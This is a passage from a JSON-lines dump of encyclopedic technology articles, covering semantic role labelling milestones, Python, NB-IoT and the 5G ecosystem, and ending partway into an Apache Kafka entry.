\n\n2002\n\nMaking use of FrameNet, Gildea and Jurafsky apply statistical techniques to identify semantic roles filled by constituents. Their work also studies different features and their combinations. They also explore how syntactic parsing can integrate with SRL. Other techniques explored are automatic clustering, WordNet hierarchy, and bootstrapping from unlabelled data. In the coming years, this work influences greater application of statistics and machine learning to SRL. \n\n2004\n\nSwier and Stevenson note that SRL approaches are typically supervised and rely on manually annotated FrameNet or PropBank. They propose an **unsupervised** \"bootstrapping\" method. They start with unambiguous role assignments based on a verb lexicon. In further iterations, they use the probability model derived from current role assignments. This may well be the first instance of unsupervised SRL. \n\nJun  \n2008\n\nPunyakanok et al. apply full syntactic parsing to the task of SRL. They show that this impacts most during the pruning stage. Based on CoNLL-2005 Shared Task, they also show that when outputs of two different constituent parsers (Collins and Charniak) are combined, the resulting performance is much higher. They call this **joint inference**. \n\nOct  \n2008\n\nJohansson and Nugues note that state-of-the-art use of parse trees are based on constituent parsing and not much has been achieved with dependency parsing. This is due to low parsing accuracy. They use dependency-annotated Penn TreeBank from 2008 CoNLL Shared Task on joint syntactic-semantic analysis. Using only dependency parsing, they achieve state-of-the-art results. \n\n2009\n\nResearchers propose **SemLink** as a tool to map PropBank representations to VerbNet or FrameNet. PropBank provides best training data. VerbNet excels in linking semantics and syntax. FrameNet provides richest semantics. SemLink allows us to use the best of all three lexical resources. For example, VerbNet can be used to merge PropBank and FrameNet to expand training resources. By 2014, SemLink integrates OntoNotes sense groupings, WordNet and WSJ Tokens as well. Shi and Mihalcea (2005) presented an earlier work on combining FrameNet, VerbNet and WordNet. \n\n2015\n\nInspired by Dowty's work on proto roles in 1991, Reisinger et al. produce a large-scale corpus-based annotation. They use PropBank as the data source and use Mechanical Turk crowdsourcing platform. They confirm that fine-grained role properties predict the mapping of semantic\r roles to argument position. In 2016, this work leads to **Universal Decompositional Semantics**, which adds semantics to the syntax of Universal Dependencies. \n\nNov  \n2017\n\nGoogle's open sources **SLING** that represents the meaning of a sentence as a *semantic frame graph*. Unlike a traditional SRL pipeline that involves dependency parsing, SLING avoids intermediate representations and directly captures semantic annotations. It uses an encoder-decoder architecture. Simple lexical features (raw word, suffix, punctuation, etc.) are used to represent input words. Decoder computes sequence of transitions and updates the frame graph. The system is based on the frame semantics of Fillmore (1982). \n\nSep  \n2019\n\nWhile dependency parsing has become popular lately, it's really constituents that act as predicate arguments. Marcheggiani and Titov use Graph Convolutional Network (GCN) in which graph nodes represent constituents and graph edges represent parent-child relations. BiLSTM states represent start and end tokens of constituents. Their earlier work from 2017 also used GCN but to model dependency relations.","meta":{"title":"Semantic Role Labelling","href":"semantic-role-labelling"}}
{"text":"# Python\n\n## Summary\n\n\nPython is a general purpose programming language that blends procedural, functional and object-oriented functionality in scripting mode. It has efficient high-level data structures, powerful flexible string handling and a simple but effective approach to object-oriented programming. Python's elegant syntax and dynamic typing, together with its interpreted nature, make it an ideal language for scripting and rapid application development in many areas on most platforms. This pseudo-code nature of Python is one of its greatest strengths. It allows you to concentrate on the solution to the problem rather than the language itself. Python has an extraordinarily simple syntax. It's creator, Guido van Rossum, says, \n\n> Python is an experiment in how much freedom programmers need. Too much freedom and nobody can read another's code; too little and expressiveness is endangered.\n\n## Discussion\n\n### What's so attractive about Python?\n\n    + Python can be easy to pick up whether you're a first time programmer or you're experienced with other languages.\n    + Python allows you to write the programs in fewer lines of code.\n    + Very clear readable syntax and keywords, with proper indentation a part of syntax checking.\n    + Declaration of variables is not required. Object-oriented and imperative programming can be mixed.\n    + Easy to manipulate large data, can perform linear algebra and matrix operations with `pandas`, `numpy`, `scipy`, `scikit-learn`, etc. for machine learning.\n    + Lists, stacks, queues, dictionaries—you name it, Python has it. Moreover, complex data structures like graphs can be easily implemented in python using a list of dictionaries.\n\n### How do you classify Python as a language?\n\nPython is a programming language that lets you work more quickly and integrate your systems more effectively. It's a high-level, interpreted, interactive and object-oriented scripting language. It incorporates modules, exceptions, dynamic typing, very high-level dynamic data types, and classes.\n\n    + **Python is Interpreted**: Python is processed at runtime by the interpreter. You do not need to compile your program before executing it. This is similar to Perl and PHP.\n    + **Python is Interactive**: You can access a Python prompt and interact with the interpreter directly to write your programs.\n    + **Python is Object-Oriented**: Python supports object-oriented style or technique of programming that encapsulates code within objects.\n    + **Python is a Beginner's Language**: Python is a great language for the beginner-level programmers and supports the development of a wide range of applications from simple text processing to WWW browsers to games.\n    + **Python is Portable**: It runs on many Unix variants, on macOS, and on Windows 2000 and later.\n\n### What are some applications where Python is suited?\n\nPython is versatile and it's been used in a variety of applications: console programs, GUI apps including games, server-side programming for web/mobile apps including creation or use of web frameworks, apps that handle media (image/audio/video), enterprise apps for ERP or CRM, data-oriented apps that can handle data in various formats and file types, database-driven apps, networking, scientific apps that require complex and intensive numerical computations, software development tools such as build tools, test automation, software delivery tools such as package managers or installers, system administration utilities, etc. \n\n\n### I've heard of The Zen of Python. What's that?\n\nBack in August 2004, Tim Peters released an informational document that stated best practices or guiding principles that can benefit Python developers. This document was released as PEP20 -- The Zen of Python. Developers who wish to understand them can do so by studying sample Python code.\n\n\n### As a developer, how do I get started with Python?\n\nPython can be installed on Windows, Linux or Mac. The default Python distribution by the Python Software Foundation can be installed. For scientific applications, the Anaconda distribution is recommended.\n\nAmong the IDEs are IDLE, PyDev for Eclipse, PyCharm, Sublime Text, Visual Studio Code, Spyder, etc. Sublime Text and Visual Studio Code are generic editors that can be enhanced with plugins to support Python. For scientific apps, Spyder may be a good IDE to use.\n\nPython comes with an interactive shell but IPython is an enhanced shell that offers more features. Jupyter Notebook allows programmers to combine code, results and descriptions into a nice flow that can be shared with others. IPython and Jupyter Notebook are part of Anaconda distribution.\n\nFor installing new packages or updating existing ones, `pip` is the tool to use. Since developers often work on multiple projects, and each project may use different packages or even versions of Python, it's recommended to use *virtual environments*. A virtual environment can be created using `pip install virtualenv`.\n\nPEP8 is a style guide developers should read to make their code more readable and maintainable. \n\n\n### Can Python be used in embedded systems?\n\nYes. Devices that could be considered as embedded by modern standards and can run tuned versions of CPython include: \n\n    + Gumstix\n    + Raspberry Pi: The \"Pi\" in Raspberry Pi comes from Python.\n    + BeagleBone Black*MicroPython* is a lean and efficient implementation of a subset Python 3. It's optimised to run on microcontrollers with as little as 256K of Flash and 16K of RAM. The *pyboard* is a compact and powerful development board that runs MicroPython. A quick reference to programming the pyboard is available. MicroPython is supported on a number of MCUs, including many variants from STMicroelectronics. \n\n\n### Can I use Python along with other languages in a single program?\n\nYes. For example, time-critical code could be in C and this could be invoked from within Python.\n\nIn fact, Python is a specification that has been implemented in many different languages. This makes it easier to interface Python with code from other languages. The interpreter compiles Python source code into bytecode and execute on a virtual machine. Following are some existing implementations: \n\n\n| Implementation | Virtual Machine | Compatible Language |\n| --- | --- | --- |\n| CPython | CPython VM | C |\n| Jython | Java Virtual Machine | Java |\n| IronPython | CLR | C# |\n| Brython | JavaScript engine (eg. V8) | JavaScript |\n| RubyPython | Ruby VM | Ruby |\n\nPython implementation in RPython (a subset of Python) is called *PyPy*, which is fast due to JIT (just-in-time) compilation. PyPy aims to be cross-platform, memory-light and stackless-supportive. \n\n## Milestones\n\nDec  \n1989\n\nGuido van Rossum at CWI in the Netherlands encounters some shortcomings with ABC programming language on the Amoeba operating system. He likes the scripting syntax of ABC but doesn't want to create an Amoeba-specific language. So he decides to create an extensible language giving due importance to exception handling. He starts the implementation during 1989 Christmas holidays. \n\nFeb  \n1991\n\nGuido van Rossum uploads Python to USENET, thus making it publicly available for the first time. \n\nOct  \n2000\n\nPython 2.0 is released. Starting from this release, the development of the language becomes more open and community driven. \n\nOct  \n2008\n\nPython 2.6 is released. The development of this release is synchronized with that of Python 3.0. Thus, Python 2.6 incorporates some changes that are part of Python 3.0. This backporting is expected to make way for easier migration of Python 2.6+ code to Python 3.x. Module `future_builtins` has 3.0 semantics. \n\nDec  \n2008\n\nPython 3.0 is released. It simplifies some of the unwieldy syntax that was in Python 2.x. It's not backward compatible with Python 2.x and hence its release is seen as controversial. However, Python 3.x is the future of the language. \n\nJul  \n2010\n\nPython 2.7 is released. It includes some features introduced in Python 3.1. Python 2.7.x releases will receive bug fixes as well as backports from Python 3.x to make it easier in future to migrate that code to Python 3. It's the last 2.x release (there won't be a 2.8 release). It's expected to be retired in January 2020, implying that it will be maintained for 10 years since its initial release.\n\nDec  \n2017\n\nPython 3.6.4 is released. In 2017, Python was ranked among the top 5 languages. Python is promoted and managed by the Python Software Foundation.","meta":{"title":"Python","href":"python"}}
{"text":"# NB-IoT\n\n## Summary\n\n\nNarrowband IoT (NB-IoT) is a cellular low-power wide-area (LPWA) connectivity standard that enables IoT devices to send their data directly to the cloud without a gateway in between. By low power, we mean that IoT devices can run on battery for 10+ years. By wide area, we mean that cell coverage is improved so that, for example, smart meters in basements can connect to the network reliably. \n\nTraditional cellular standards were focused on either voice or bandwidth-intensive low-latency data applications. These are not scalable for IoT due to reasons of cost, coverage, device density and power. NB-IoT reduces complexity, limits bandwidth, and caps maximum data rates. This is possible because IoT sensor devices are tolerant to delays, require minimum mobility and operate at low data rates.\n\n## Discussion\n\n### What are some use cases of NB-IoT?\n\nIn general, applications that send small amounts of data occasionally from sensor nodes that run on batteries, of limited mobility and installed in remote locations will benefit by using NB-IoT. NB-IoT fills the gap between cellular technologies such as 3G/4G and short range technologies such as Wi-Fi/ZigBee/Bluetooth. In other words, it solves the last-mile problem for IoT devices. Applications that require high device density (50,000 device per cell) can use NB-IoT. \n\nSmart metering, asset tracking, wearables including health monitoring, facilities management, intruder and fire alarms, smart dustbins, smart street lighting, connected appliances at home or factories... these are some use cases of NB-IoT. \n\nGSMA has published detailed case studies on smart metering, smart parking, wildlife tracking and environmental monitoring. Likewise, successful implementations of smart metering, smart parking and smart agriculture have been reported. \n\n\n### What are the techniques enabling NB-IoT?\n\nSince sensor nodes require low data rates, bandwidth is reduced to 180 kHz. Many of the supported bands are in sub-GHz so that better range is obtained. Range is also increased by repeating transmissions. Further reduction in device cost and complexity is due to supporting only FDD, single antenna (no MIMO) and half-duplex mode.\n\nMultitone uplink is optional. Single-tone uplink uses the power amplifier more efficiently. More devices can be supported within the same cell. \n\nFor lowering power requirements, Release 12 introduced both *Power Saving Mode (PSM)* and *Discontinuous Reception (DRX)*. With PSM, device is registered with network but can go into deep sleep for up to 12.1 days. Device can wakeup to send data or do a Tracking Area Update. With DRX, device need not monitor control channels most of the time. Release 13 improves this with *extended DRX (eDRX)* in which the device can go to sleep for up to 3 hours. \n\nFor unscheduled mobile terminated data, DRX is better. DRX also avoids unnecessary signalling, whereas PSM would still require a TAU even when device has no data to send. \n\n\n### What are the key parameters of NB-IoT?\n\nIn Release 13, NB-IoT is supported in many bands, many of which are sub-GHz. NB-IoT uses only one physical resource block (PRB) of 180 kHz. Coverage is better than GPRS by 20dB. Support is only for FDD, half-duplex without any MIMO. Since sensor devices will mostly be sending data and occasionally receiving commands, uplink data rate is higher than downlink. Uplink can be single-tone or multitone. \n\n\n### What are the modes in which NB-IoT can be deployed?\n\nNB-IoT has three modes:\n\n    + **In-band Mode**: This is easiest for operators since no changes to hardware are needed. LTE spectrum is used. Many operators in Europe have adopted this. Internal interference (inter-PRB) can be a problem and this has to be managed effectively.\n    + **Guardband Mode**: NB-IoT is served by the same eNodeB that serves the LTE cell, thus sharing the power. There's no spectrum cost since operation is in the guard band. Interference is better managed than in in-band mode.\n    + **Standalone Mode**: By refarming unused GSM bands, NB-IoT can be deployed in these bands. Frequency planning incurs a cost. New RF modules are needed but more power may be available since this is independent of the LTE cell.\n\n### Who are the chipset vendors for NB-IoT?\n\nAmong the major vendors are ARM, Altair Semiconductor (acquired by Sony), Huawei, Intel, Qualcomm, Sequans Communications and Nordic Semiconductor. ARM is a relatively new entrant to this space. It's Cordio-N IP includes Cortex-M33 that could run both the stack and application. \n\nIndustry's design approach seems to be a dual-mode chip for both Cat-M1 and Cat-NB1. This is seen in Altair's ALT1250, Intel's XMM 7315, Qualcomm's MDM9206, Sequans' Monarch and Monarch SX, and Nordic's nRF91. . One reason for this dual-mode approach is the uncertainty of NB-IoT's adoption due to presence of LTE-M. \n\nMediaTek has integrated NB-IoT and GSM/GPRS into a single SoC MT2621 for IoT deployment in a GSM/GPRS network that can later be migrated to NB-IoT. The SARA-R4/N4 series from u-blox also dual-mode. \n\nAt module level, Sierra Wireless supplies modules that use Altair's ALT1250. Murata will supply modules that integrate ALT1250 and MCUs from STMicroelectronics. \n\nNick Hunn has given a thorough discussion of NB-IoT chipset landscape as of March 2018. \n\n\n### What are some considerations when designing for NB-IoT?\n\nHigh levels of SoC integration are seen for example in Monarch SX that includes an ARM Cortex-M4, an ARM-based sensor hub, a graphics controller, and a media processing engine. Indeed, it's been said that while firms initially focused on making thin modems, the current battle is about SoC integration. Unlike the Monarch SX, Altair's ALT1250 doesn't have an MCU but includes GPS. \n\nIt's been said of NB-IoT SoC that, \n\n> Design efforts need to be directed at optimizing power and cost rather than optimizing performance.\n\nCache memory sub-system involves a tradeoff between performance and area. The use of hardware accelerators are not preferred at NB-IoT's low data rates. \n\nWith regard to the protocol stack, an optimized memory footprint can avoid the use of external flash and hence save on both cost and power consumption. Optimal RAM usage will most likely be achieved by designing from scratch rather than downscaling from legacy LTE design. Single-core solutions that integrate service layer, application and layer 1 is now possible, due to half-duplex operation and relaxed delay constraints. Applications must manage sleep and wakeup cycles for power optimization. \n\n\n### Could you compare NB-IoT against other LPWA technologies?\n\nLPWA technologies competing with NB-IoT include the following: \n\n    + **LoRa**: By early 2018, LoRa had 60+ public networks and 350+ ongoing trials in 100+ countries. LoRaWAN is a networking stack that uses LoRa. Symphony Link and Haystack are alternatives that uses LoRa.\n    + **SigFox**: Started in France, by September 2017, SigFox was deployed in 36 countries with national coverage in 17 of them.\n    + **RPMA**: US company Ingenu has used *Random Phase Multiple Access* technology to provide its Machine Network in some areas of the US. The technology is now available for deployment outside the US.\n    + **Weightless**: Weightless SIG has standardized three variants: Weightless-N, -P and -W. Weightless-P also uses licensed spectrum.NB-IoT has the advantage that it builds on existing cellular networks and enables global roaming. It also uses licensed spectrum implying that interference is better managed. As of February 2018, NB-IoT had 41 launches by 23 operators in 26 countries. \n\n\n### Could you compare NB-IoT against other cellular IoT standards?\n\nThere are two alternatives that 3GPP provides:\n\n    + **LTE-M**: LTE-M is also known by the name *enhanced Machine Type Communications (eMTC)* or *LTE-MTC*. UE category that supports NB-IoT is named *Cat-NB1*; the same for LTE-M is called *Cat-M1*.\n    + **EC-GSM-IoT**: *Extended Coverage GSM-IoT* optimizes GSM networks for IoT. Upgrade costs are expected to be minimal but there's also doubt if market will require this technology.LTE-M operates in LTE spectrum while NB-IoT can be deployment in three different modes. While LTE-M is a simplification of LTE, NB-IoT is really DSSS modulation. For operators, LTE-M is only a software upgrade from LTE but NB-IoT will require infrastructure upgrade. \n\nWhile NB-IoT is suited for low data rate applications, LTE-M targets content rich applications as well. LTE-M is suited for higher data rates and mobility than NB-IoT can provide. For example, LTE-M is suited for wearables while NB-IoT is suited for smart metering. Note that the 200+ kbps peak data rates in NB-IoT are at Layer 1 and peak throughputs are much lower. \n\n\n### Are there any concerns about NB-IoT?\n\nLoRa and SigFox have been deployed in many countries. For example, Netherlands and South Korea both deployed nationwide LoRa networks in September 2016. The Dutch KPN commented that they chose LoRA \"based on quality, technology readiness and industry adoption.\" NB-IoT is therefore a late entrant in the LPWAN space. If it has to succeed, it has drive down costs; get the pricing right; devices have to be interoperable. There have been concerns of interoperability between Ericsson and Huawei devices. \n\nNB-IoT Release 13 is available in 14 bands and Release 14 added another 4 bands. This may lead to market fragmentation. Support for all bands may result in higher cost and power consumption. From the point of power availability at eNodeB, either eNodeB has to be upgraded or NB-IoT has to resort of retransmissions. The former incurs cost while the latter drains end-device battery. \n\nOn the business side, business models are far from clear. Will people buy NB-IoT product and separately subscribe to a connection? Or will NB-IoT offer end-to-end services or solutions including perhaps data analytics? Issues of data privacy and regulations also matter. \n\n\n### Is LTE-M competing against NB-IoT?\n\nNB-IoT was created because LTE-M was seen too 'broadbandish' to compete against SigFox or LoRa. However, differences between LTE-M and NB-IoT are no longer seen to be significant. If LTE-M achieves high volumes and drives down costs, then this could be bad news for NB-IoT. LTE-M is a simple software upgrade to the RAN while NB-IoT is perceived to require new infrastructure and a new core network. France's Orange instead uses a combination of LTE-M and LoRa. In March 2018, AT&T reported that it's deploying LTE-M but is keeping an eye on NB-IoT developments. \n\nOthers believe that both will coexist since their use cases are different. As of June 2017, operators worldwide are showing interest in both technologies. From the standardization perspective, both technologies have a roadmap that include single-cell multicast (for over-the-air upgrades), enhance device positioning (for asset tracking) and TDD support in NB-IoT. \n\n\n### What support can developers expect in the NB-IoT space?\n\n*GSMA NB-IoT Forum* is promoting NB-IoT and membership is open to non-GSMA members as well. In April 2016, Vodafone and Huawei set up the world's first NB-IoT Open Lab as a testbed for manufacturers and app developers. Since then many others have been set up worldwide. \n\nSince 2012, Deutsche Telekom has been running an incubator named hub:raum to support early stage startups. As part of WARP NB-IoT accelerator program, hub:raum selected 12 startups whose ideas will be piloted to customers around December 2017. \n\n## Milestones\n\n2014\n\nA new study item titled \"Cellular System Support for Ultra Low Complexity and Low Throughput Internet of Things\" (GP-140421) is proposed in 3GPP. This kickstarts the work on NB-IoT. The document states that 3GPP M2M devices use legacy GPRS but there are competing technologies that provide better coverage and efficiency at lower cost. Document proposes looking into evolving GERAN plus designing a new access system. \n\n2015\n\n3GPP Release 12 introduces Cat-0 UE category. This is targeted towards the IoT market. Neul releases the first pre-standard NB-IoT chip named Iceni. The same year u-blox uses Iceni to produce the first NB-IoT module. Huawei later acquires Neul. \n\nJun  \n2016\n\n3GPP completes the standardization of NB-IoT, which is part of Release 13 (LTE-Advanced Pro). Further changes to the specifications can be done only in a backward-compatible manner. \n\nOct  \n2016\n\nWorld's first commercial NB-IoT network goes live in Deutsche Telekom's German and Dutch networks. The first application is a smart parking system. Deutsche Telekom had launched a pre-standard NB-IoT on a commercial network back in October 2015. \n\nJun  \n2017\n\nEnhancements to NB-IoT is introduced as part of 3GPP Release 14. These include improved positioning capabilities, enhanced Multicast DL transmission, new band and power class support, mobility enhancements, support of higher data rates, and non-anchor PRB enhancements. UE category Cat-NB2 is introduced. \n\nDec  \n2020\n\nA GSMA report notes that 111 operators have deployed NB-IoT networks, of which 34 operators have also deployed LTE-M networks. Whereas 32 countries have both NB-IoT and LTE-M networks, 28 countries have only NB-IoT networks. Among NB-IoT compliant devices, 347 Cat-NB1 devices and 63 Cat-NB2 devices are now available in the market.","meta":{"title":"NB-IoT","href":"nb-iot"}}
{"text":"# 5G Ecosystem\n\n## Summary\n\n\n5G is a complex system that involves multiple players fulfilling various roles. 5G chipset vendors offer 5G modems and SoCs. These chipsets are used by mobile device manufacturers and network infrastructure vendors. Mobile carriers deploy and maintain 5G networks, often in partnership with infrastructure vendors and handset vendors. \n\nWhile 5G infrastructure vendors provide both radio access network and core network equipment, virtualization in 5G means that network functions can be hosted in the cloud. Thus, cloud providers play an important role. From a data perspective, there are CDN providers, data center connectivity vendors, and cloud providers. \n\nStandardization bodies play an essential role in defining what is 5G. They're complemented by industry bodies that promote 5G and focus on specific verticals. Finally, universities and institutes contribute in terms of research, prototyping and training.\n\n## Discussion\n\n### Who are the key players in the 5G ecosystem?\n\nWithout being exhaustive, we note a few players to get a sense of who's involved:  \n\n    + **Chipset Vendors**: Qualcomm, Samsung, Huawei, MediaTek, Unisoc, Nokia Networks, Intel, Broadcom, etc.\n    + **Infrastructure Vendors**: Huawei, ZTE, Ericsson, Nokia Networks, Samsung, Cisco, HPE, Dell EMC, etc.\n    + **Mobile Device Makers**: Apple (iPhone 12), Google (Pixel 5), HTC (mobile hotspot), LG (V50 ThinQ), Samsung (Galaxy 10 5G), Motorola (G 5G Plus), Huawei (Mate 20 X), Nokia (Nokia 8.3), Xiaomi (Mi 10 Pro 5G), OnePlus (OnePlus 8), etc.\n    + **Mobile Network Operators**: Verizon, AT&T, T-Mobile, Vodafone, SK Telecom, China Mobile, etc.\n    + **Standardization Bodies**: 3GPP, IETF, ITU, and ETSI.\n    + **Regulatory Bodies**: Government departments and authorities allocate and auction spectrum for 5G. These include FCC (US), DoT (India), CITC (Saudi Arabia), etc.\n    + **Industry Bodies**: 5GAA, 5G-PPP, 5G-MoNArch, 5G IA, 5G-ACIA, NGMN Alliance, O-RAN Alliance, IEEE 5G World Forum, 5G Future Forum, ONF, BBF, etc.\n    + **Cloud Providers**: AWS, Google Cloud, Microsoft Azure, Alibaba Cloud, Tencent Cloud, IBM Cloud, etc.\n    + **Data Center Colocation Connectivity Providers**: China Unicom, Equinix, CoreSite, Digital Realty, CenturyLink, etc.\n    + **CDN Providers**: Akamai, Cloudflare, Fastly, Limelight Networks, AWS, Google Cloud, Microsoft Azure, etc.\n\n### Which are the official standardization bodies for 5G?\n\nThe main standard bodies for 5G are:\n\n    + **3GPP**: 3GPP defines the 5G NR specification for 5G communications. It also defines standard User Equipment (UE) and 5G Core Network.\n    + **IETF**: IETF contributes towards routing-related work, traffic engineering, abstractions, network management, deterministic networking, and a new transport protocol name QUIC.\n    + **ITU**: ITU has a rich history in the development of radio interface standards for mobile communications. The framework of standards for International Mobile Telecommunications (IMT), encompassing IMT-2000 and IMT-Advanced, spans 3G/4G industry perspectives and will continue to evolve into 5G as IMT-2020.\n    + **ETSI**: Via Industry Specification Groups (ISGs), ETSI facilitates industry collaboration on topics such as Network Function Virtualization (NFV), Multi-Access Edge Computing (MEC), Microwave Transmission (mWT) and Next Generation Protocols (NGP).\n\n### Which are some industry bodies looking at 5G?\n\nIndustry alliances and consortia tend to focus on specific aspects of 5G. Some of these include 5G Automotive Association (5GAA), 5G Infrastructure Public Private Partnership (5G-PPP), 5G-MoNArch, 5G Infrastructure Association (5G IA), 5G Alliance for Connected Industries and Automation (5G-ACIA), NGMN Alliance and O-RAN Alliance.\n\nAmong the forums and foundations are IEEE 5G World Forum, 5G Future Forum (5GFF), TM Forum, Broadband Forum (BBF) and Open Networking Foundation (ONF).\n\n**5GAA** is an example of an industry body with a vertical focus. Involving telecom players and vehicle manufacturers, it seeks to provide end-to-end solutions for future mobility and transportation services. \n\n**ONF** is led by operators. It aims to transform network infrastructure and carrier business models through adoption of network disaggregation, open source software and SDN/NFV. OpenFlow, ONOS and CORD are some components of an SDN architecture developed by ONF. \n\n**BBF** is working on a project named *5G-Fixed Mobile Convergence (5G-FMC)*. It concerns mobility and simultaneous access across 3GPP and non-3GPP networks. \n\n\n### Who are the main infrastructure vendors for 5G?\n\nThe telecom industry was traditionally limited to a few who specialized in telecom infrastructure. The equipment was custom-built and expensive. The main vendors for 5G are Ericsson, Samsung, Nokia, Huawei, and ZTE, who supply equipment for both RAN and 5G Core. \n\n5G Core adopts an **open flexible** Service-Based Architecture (SBA). This has enabled new players to enter the industry. They may not supply RAN equipment (base stations or antenna arrays). They're more likely to focus on 5G Core and edge. Companies in this category include Cisco, Dell EMC, Hewlett Packard Enterprise, Lenovo, and more. Cloud providers who're also in this space include AWS, IBM, Oracle, Microsoft Azure, and Google.\n\nSome **acquisitions** have happened to build 5G capability. For example, HPE acquired Aruba and Silver Peak. Microsoft acquired Affirmed Networks and Metaswitch. \n\nThese companies leverage their expertise in networking, compute, storage and cloud technologies. They deliver capability to build 5G services using AI/ML and SDN/NFV. Ultimately, a Communications Service Provider (CSP) will deploy a variety of components from many vendors to deliver 5G services. It's therefore essential that all components **interoperate**. \n\n\n### Which are the main 3GPP specifications for 5G?\n\nRelease 15 technical specifications with a focus on 5G is available on 3GPP site. Excluding technical reports, this is close to 900 documents. \n\n5G New Radio (NR) specifications are in the 38 Series. Specifications that concern both LTE and NR are in the 37 Series. \n\nWe note a few high-level specifications to get started: \n\n    + TS 22.261: Service Requirements\n    + TS 23.501: System Architecture\n    + TS 37.340: Multi-connectivity\n    + TS 38.300: NR and NG-RAN Overall Description\n    + TS 38.401: NG-RAN Architecture\n\n### Apart from the 5G standards, what additional resources are out there to learn more?\n\nIndustry players often publish white papers, blog posts, news articles or explanatory videos to help researchers and public understand 5G better. We note a few of these useful websites: Qualcomm's 5G page, Ericsson's The Voice of 5G that's a regular podcast, Nokia's 5G Resources page, Intel's 5G Resource Center, and Huawei's 5G page.\n\nFrom operators, we have Verizon's 5G News and Resources and Vodafone's 5G for Business.\n\nGSMA's 5G Resources page has white papers and video recordings of webinars. \n\nKeysight Technologies has published a useful glossary of 5G terms and acronyms. \n\nFrom the many books on 5G, we mention two: 5G New Radio: A Beam-based Air Interface (2020) and 5G Core Networks: Powering Digitalization (2019).\n\n## Milestones\n\nOct  \n2016\n\nQualcomm releases the **world's first 5G modem** in its Snapdragon X50. With support for 28GHz mmWave spectrum, it can achieve a top download speed of 5Gbps, 5x faster than the fastest 4G modems. Qualcomm dominates the market through the first commercial 5G deployments in 2019. But by the end of 2019, Samsung (Exynos 980), MediaTek (Helio P90) and Huawei (Balong 5000 series) emerge as competitors.  \n\nDec  \n2017\n\n**3GPP approves the first specifications for 5G**, called \"early drop\" of Release 15. This is followed by \"main drop\" (June 2018) and \"late drop\" (March 2019). Release 16 comes out in July 2020. \n\n2018\n\nAcross the world, operators and network vendors partner together and conduct **5G trials**. In May, Ooredoo Qatar launches the world's first 5G network. Due to lack of 5G mobile devices, this is probably with fixed terminals. A Stratfor research study names Ericsson, Huawei, Nokia, ZTE and Samsung as leaders in telecom equipment. \n\nFeb  \n2018\n\nAT&T, China Mobile, Deutsche Telekom, NTT DOCOMO and Orange jointly create **O-RAN Alliance**. The focus is to define specifications, leading to a more open, intelligent and interoperable RAN. The Alliance also supports members in testing their implementations. In February 2020, they publish **O-RAN Architecture Description 1.0**. This is followed by many more specifications covering use cases, operations and maintenance, and slicing architecture. \n\nApr  \n2019\n\nSouth Korean carriers SK Telecom and KT Corp become the first operators to launch the **world's first commercial 5G service**. Within an hour later, Verizon launches its own 5G service in the US in Chicago and Minneapolis. This is the first time 5G commercial networks connect to 5G smartphones. 5G smartphones used in these deployments are Samsung Galaxy S10 5G and Motorola's Moto Z3 with 5G Mod. \n\nNov  \n2019\n\nAt the World Radiocommunication Conference 2019 (WRC-19), countries support the **harmonization of spectrum for 5G**. In particular, 26GHz, 40GHz, and 66GHz are identified. Under the leadership of ITU, WRC-19 represents good collaboration across countries and industries. This is essential for the success of 5G, known within ITU as IMT-2020. The next meeting will be WRC-23 in 2023. \n\nDec  \n2019\n\nA study by Counterpoint Technology Market Research shows that Qualcomm is one of the few to offer an **end-to-end semiconductor portfolio**. Qualcomm offer SoC, modem, RF Front End (RFFE), and antenna technology. This is also the month when Qualcomm announces Snapdragon 865 5G. \n\nJan  \n2020\n\nSix operators América Móvil, KT Corp., Rogers, Telstra, Verizon, and Vodafone jointly launch **5G Future Forum (5GFF)**. Its focus is towards delivery and interoperability of **Multi-Access Edge Computing (MEC)** solutions. The Forum publishes the first technical specifications for MEC in August (available to members). \n\nFeb  \n2020\n\nA presentation from Qualcomm claims that 230+ 5G devices based on Qualcomm Snapdragon have been launched or in development. \n\nNov  \n2020\n\nIBM announces *IBM Cloud for Telecommunications* that includes 35+ partners. This highlights the importance of ecosystem and collaboration to deliver a compelling 5G solution. Similar partnerships between other cloud providers (AWS, Google Cloud, Azure), operators and equipment vendors were shared by Netmanias in October.","meta":{"title":"5G Ecosystem","href":"5g-ecosystem"}}
{"text":"# Apache Kafka\n\n## Summary\n\n\nAny change of state can be considered an event. Event streaming is really a sequence of events collected, stored and processed in a timely manner, often in real time. Apache Kafka is an open-source distributed event streaming platform. \n\nApache Kafka offers the following three primary capabilities for organizations to implement event streaming: \n\n* To produce and consume event streams to and from a variety of systems\n* To store these events for the configured time and in a reliable manner\n* To process the event streams as they happen or in a batch-oriented way\n\nApache Kafka offers these capabilities in a distributed, scalable, fault-tolerant, and secure way. \n\nKafka can be deployed on bare-metal hardware, virtual machines, or containers, both on-premise or on the cloud. Deployments can be self-managed or fully managed by third-party vendors.\n\n## Discussion\n\n### Why do we need Kafka?\n\nIn today's Internet applications, performing analytics based on user activity or device/sensor data has become a trend. The intent is to provide useful recommendations in real time. A few of such analytical applications are recommendations based on past user actions or advertisements to users based on their current proximity. The real-time use of these events collected from production applications and IoT systems has become a challenge because of the volume of data collected and processed. Apache Kafka works well for such use cases by unifying real-time and batch processing requirements. \n\nApache Kafka facilitates parallel processing in batch processing systems such as Hadoop. It also provides the ability to partition online consumption of data over a cluster of machines. Kafka has gained popularity because of its **exceptional performance**. This is because clients and servers communicate with a simple, high-performance, language agnostic TCP protocol. \n\nKafka is scalable, reliable, and robust. It's now trusted by 20,360 companies. \n\n\n### What's the architecture of Apache Kafka?\n\nA **producer** in Kafka architecture is a client application that produces events or messages to a Kafka topic. A **topic** is similar to a directory in an operating system's filesystem, and the messages are the files in that directory. Kafka topics are created on a Kafka **broker** that operates as a Kafka server. A Kafka **cluster** consists of one or more Kafka brokers running Kafka. It's the Kafka broker where the produced messages are stored. \n\nA **consumer** subscribes to one or more interested Kafka topics to get the messages. A **consumer group** is a set of consumers who coordinate to consume data from the subscribed topics. A message within a topic is consumed by a single consumer within the group. \n\nA topic can be **partitioned** to spread the messages over several buckets in the Kafka brokers. Every partition holds the messages in an ordered, immutable sequence. Brokers and consumers use *Zookeeper* to get the Kafka server's state information and track offsets of the messages consumed. An **offset** is a unique sequential number assigned to a message in the topic partition. \n\n\n### How is Kafka used in the context of messaging?\n\nIn the context of messaging systems, Kafka acts as a message broker that enables services, applications, and systems to communicate with each other and exchange information, even if they're written in different languages or implemented on different platforms. \n\nA design principle of Kafka is to **decouple producers and consumers** via the message brokers. Broker buffers unprocessed messages. Producers don't wait for consumers to read messages. This decoupling is a key aspect of Kafka's scalability. \n\nConsider an e-commerce site. An order service validates an order and sends a message to the 